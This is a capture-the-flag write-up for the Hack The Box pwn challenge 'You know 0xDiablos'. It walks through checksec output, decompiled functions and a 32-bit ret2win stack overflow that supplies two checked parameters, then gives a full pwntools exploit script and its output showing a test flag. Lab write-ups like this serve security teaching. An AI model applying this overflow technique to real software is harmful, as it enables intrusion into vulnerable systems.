This challenge provides us with a single executable: vuln
Upon running the binary, we are greeted with a message, it then prompts us for an input, echos it back and exits:
└─$./vulnYouknowwhoare0xDiablos:nono
Checksec shows us the following:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
Hmm, RWX segments, interesting....
Code analysis
Decompilation for main:
undefined4 main(void){__gid_t __rgid;setvbuf(stdout,(char*)0x0,2,0); __rgid =getegid();setresgid(__rgid,__rgid,__rgid);puts("You know who are 0xDiablos: ");vuln();return0;}
voidflag(int param_1,int param_2){char local_50 [64]; FILE *local_10; local_10 =fopen("flag.txt","r");if (local_10 != (FILE *)0x0) {fgets(local_50,0x40,local_10);if ((param_1 ==-0x21524111) && (param_2 ==-0x3f212ff3)) {printf(local_50); }return; }puts("Hurry up and try in on server side."); /* WARNING: Subroutine does not return */exit(0);}
Since we have an unbound buffer overflow in vuln:5, and a flag function, this looks like a typical ret2win type of challenge, with a little twist. There is a check on flag:9 for the values of 2 parameters that are passed to the flag function. Since this is a 32-bit binary, function parameters are passed onto the stack, so all we will have to do, is include the values on the stack in the correct position, in our overflow.
Those values in unsigned form happen to be: 0xdeadbeef and 0xc0ded00d.
After a call to a function, this is what the stack layout looks like in 32-bit:
So at the time of the flag call, we will need to have the parameters starting 4 bytes from ESP.
Exploitation
The following exploit script should do the trick:
x.py
from pwn import*bin=ELF("./vuln")rop =ROP(bin.path)gdbs ="""c"""defrun():global libcif args.R: p =remote() libc =ELF("./libc.so.6")elif args.D: p = gdb.debug(bin.path, gdbs) libc = p.libcelse: p =process(bin.path) libc = p.libcreturn pp =run()payload =b""payload += (184-len(payload))*b"A"#overflowpayload +=p32(0)#ebppayload +=p32(bin.sym.flag)#eippayload +=p32(0)#esp will pe pointing here after the return to `flag`payload +=p32(0xdeadbeef)#parameter 1payload +=p32(0xc0ded00d)#parameter 2p.recv()p.sendline(payload)#send the payload to the programp.interactive()#should now print out the flag
And sure enough it does:
└─$ python3 x.py
[*] '/home/p00dl3/Documents/HTB/Challanges/Pwn/you-know-0xdiablos/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[*] Loaded 10 cached gadgets for '/home/p00dl3/Documents/HTB/Challanges/Pwn/you-know-0xdiablos/vuln'
[+] Starting local process '/home/p00dl3/Documents/HTB/Challanges/Pwn/you-know-0xdiablos/vuln': pid 10943
[*] '/usr/lib/i386-linux-gnu/libc-2.31.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HTB{test-flag}
[*] Got EOF while reading in interactive
$